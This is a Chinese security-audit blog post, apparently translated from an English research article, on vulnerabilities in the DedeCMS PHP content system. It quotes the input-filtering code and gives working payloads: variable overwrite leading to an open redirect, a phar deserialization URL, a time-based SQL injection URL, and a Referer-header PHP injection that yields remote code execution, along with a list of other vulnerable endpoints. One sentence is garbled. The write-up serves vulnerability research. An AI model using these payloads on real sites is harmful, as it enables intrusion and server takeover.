微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

[php审计]Dedecms审计

前言: 很明显这是一篇翻译文章
原文:https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html

0x01 输入是怎么被处理的

function _RunMagicQuotes(&$svar)
{
    if (!@get_magic_quotes_gpc()) {
        if (is_array($svar)) {
            foreach ($svar as $_k => $_v) {
                $svar[$_k] = _RunMagicQuotes($_v);
            }

        } else {
            if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) {
                exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

if (!defined('DEDEREQUEST')) {
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v) {
                if ($_k == 'nvarname') {
                    continue;
                }

                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else {
            if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) {
                exit('Request var not allow!');
            }
        }
    }

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
        foreach ($$_request as $_k => $_v) {
            if ($_k == 'nvarname') {
                ${$_k} = $_v;
            } else {
                ${$_k} = _RunMagicQuotes($_v);
            }

        }
    }
}
if (!defined('DEDEREQUEST')) {
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v) {
                if ($_k == 'nvarname') {
                    continue;
                }

                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else {
            if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) {
                exit('Request var not allow!');
            }
        }
    }

    //var_dump($_REQUEST);exit;
    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
        foreach ($$_request as $_k => $_v) {
            if ($_k == 'nvarname') {
                ${$_k} = $_v;
            } else {
                ${$_k} = _RunMagicQuotes($_v);
            }

        }
    }
}

我们可以看见一个经典漏洞就是变量覆盖

dede/co_url.PHP?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=www.baidu.com

image-20211002054740846

攻击者可以利用 Open redirect 漏洞诱骗用户访问某个可信赖站点的 URL,并将他们重定向到恶意站点。攻击者通过对 URL 进行编码,使最终用户很难注意到重定向的恶意目标,即使将这一目标作为 URL 参数传递给可信赖的站点时也会发生这种情况

加上

plus/recommend.PHP?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=

image-20211002060938290

image-20211002060951937

这不是堪称完美。

这里是 先对 F I L E S 进 行 一 次 迭 代 _FILES进行一次迭代 F​ILES进行一次迭代_FILE[1],然后$_FILES[A][2]感觉

后面的代码就很正常了。感觉这里可以原地造一个题出来。

0x02 sql注入

image-20211002101414424

我们可以看到这是唯一的sql注入的过滤函数

image-20211002101443364

看到被使用的地方不多,我们可以通过找到,执行MysqLi_query但是没有执行该函数的地方。

ExecuteSafeQuery
IsTable
GetVersion
GetTableFields
GetTableFields

发现下面这个是最好的利用点。

/dede/sys_data_done.PHP?dopost=bak&tablearr=1&Nowtable=%23@__Vote+where+1=sleep(5)--+& HTTP/1.1

0x03 ShowMsg RCE

image-20211002104807891

image-20211002104818885

image-20211002104910416

image-20211002105258814

image-20211002105410762

这个变量来自于FERER但是可以被加载的模板文件中,最后被PHP解析,这是一个,我们就可以对它进行构造

GET /plus/flink.PHP?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?PHP "system"($c);die;/*

其他利用路劲

/plus/flink.PHP?dopost=save
/plus/users_products.PHP?oid=1337
/plus/download.PHP?aid=1337
/plus/showphoto.PHP?aid=1337
/plus/users-do.PHP?fmdo=sendMail
/plus/posttocar.PHP?id=1337
/plus/Vote.PHP?dopost=view
/plus/carbuyaction.PHP?do=clickout
/plus/recommend.PHP

最后的修复是直接

echo $msg

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐